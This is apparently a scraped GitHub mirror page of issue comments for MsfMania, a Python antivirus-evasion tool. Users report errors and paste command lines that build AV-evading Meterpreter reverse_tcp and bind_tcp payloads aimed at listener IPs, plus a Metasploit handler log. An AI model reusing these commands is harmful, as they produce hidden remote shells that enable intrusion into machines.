g1ft3dc0d3 / msfmania Goto Github PK
View Code? Open in Web Editor NEWPython AV Evasion Tools
License: GNU General Public License v3.0
Python AV Evasion Tools
License: GNU General Public License v3.0
I am not completely sure how this tool is putting the malware into the output folder but if it is initially writing the file to the current folder then maybe use the shutil modules copy function. If the program is just getting the output and storing it in a variable and then modifying the payload, maybe change directory using os.chdir into the output directory then write the file.
Hello!
Just wanted to let you know it seems something broken with generated exe files.
Launching generated output.exe on target (Windows Server 2012 R2) no connection made to listener. Tried lots of times, no avail.
Can you recheck please isn't something broken with MsfMania?
P.S The listener is fully functional and lport reachable (verified).
Thanks in advance!
1) python3 MsfMania.py -a x86 -p windows/meterpreter/reverse_tcp -lh 192.168.31.60 -lp 8088 -o localx32 -it local
2) python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh 192.168.31.60 -lp 8088 -o local2 -it local
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.31.60:8088
hi,
thxx a lot for this tool, i wanted to give it a try, and got this script error when launching shellcode generation.
Setup had no issues:
Enter you choice : bdl1
Traceback (most recent call last):
File "MsfMania.py", line 417, in
SHELLCODE += gen.SHELLCODE_GENERATION(ARCHITECTURE, PAYLOAD, LHOST, LPORT)
AttributeError: module 'lib.gen' has no attribute 'SHELLCODE_GENERATION'
hope it ll help
Windows 10 Defender detection Trojan:Win32/Wacatac.B!ml
Can I use your code to encrypt and compile some other python code into an exe? Ex. Encrypt print("Hello World")
and compile it to an exe.
Hey,
what do i wrong?
python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh 192.168.0.10 -lp 1234 -o Malicious -it local --hash md5
[+] Shellcode generated.
[+] Shellcode encrypted.
[+] Evasion code added.
sh: 1: x86_64-w64-mingw32-windres: not found
[+] File compiled and stripped.
Traceback (most recent call last):
File "/home/kali/Downloads/MsfMania/MsfMania.py", line 253, in
original_file_size = check_file_size()
File "/home/kali/Downloads/MsfMania/MsfMania.py", line 186, in check_file_size
fs = path.getsize(filename)
File "/usr/lib/python3.9/genericpath.py", line 50, in getsize
return os.stat(filename).st_size
FileNotFoundError: [Errno 2] No such file or directory: 'output/Malicious.exe'
root@kali:~/soft/MsfMania# python3 MsfMania.py
Traceback (most recent call last):
File "MsfMania.py", line 1, in
from lib import evasion, body, compiler, compression, core, decoy, gen, metascript, encryption
ImportError: cannot import name 'metascript' from 'lib' (unknown location)
I installed:
after command: chmod +x MsfMania.py
root@kali:~/soft/MsfMania# ./MsfMania.py
from: too many arguments
./MsfMania.py: строка 3: TYPE: команда не найдена
./MsfMania.py: строка 4: ARCHITECTURE: команда не найдена
./MsfMania.py: строка 5: PAYLOAD: команда не найдена
./MsfMania.py: строка 6: LHOST: команда не найдена
./MsfMania.py: строка 7: LPORT: команда не найдена
./MsfMania.py: строка 8: FILENAME: команда не найдена
./MsfMania.py: строка 9: SHELLCODE: команда не найдена
./MsfMania.py: строка 10: синтаксическая ошибка рядом с неожиданным маркером «(»
./MsfMania.py: строка 10: `BUFFNAME = core.VARNAME_CREATOR()'
Hi I always get this error message
Traceback (most recent call last)
File "/root/MsfMania/MsfMania.py", line 253, in
original_file_size = check_file_size()
File "/root/MsfMania/MsfMania.py", line 186, in check_file_size
fs = path.getsize(filename)
File "/usr/lib/python3.9/genericpath.py", line 50, in getsize
return os.stat(filename).st_size
FileNotFoundError: [Errno 2] No such file or directory: 'output/testfile.exe'
Error thrown:
Traceback (most recent call last):
File "/home/kai/MsfMania/./MsfMania.py", line 242, in <module>
vshellcode, decoder_stub = encryption.shellcode_generation(msfvenom)
File "/usr/lib/python3.10/site-packages/lib/encryption.py", line 9, in shellcode_generation
shellcode = run(msfvenom, shell=False, stdout=PIPE).stdout.decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x90 in position 2: invalid start byte
How to recreate:
python3 ./MsfMania.py -a x64 -p windows/x64/meterpreter/bind_tcp -it local -lp 1234 -lh 192.168.0.1 -o bind -cO='-f exe-service'
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.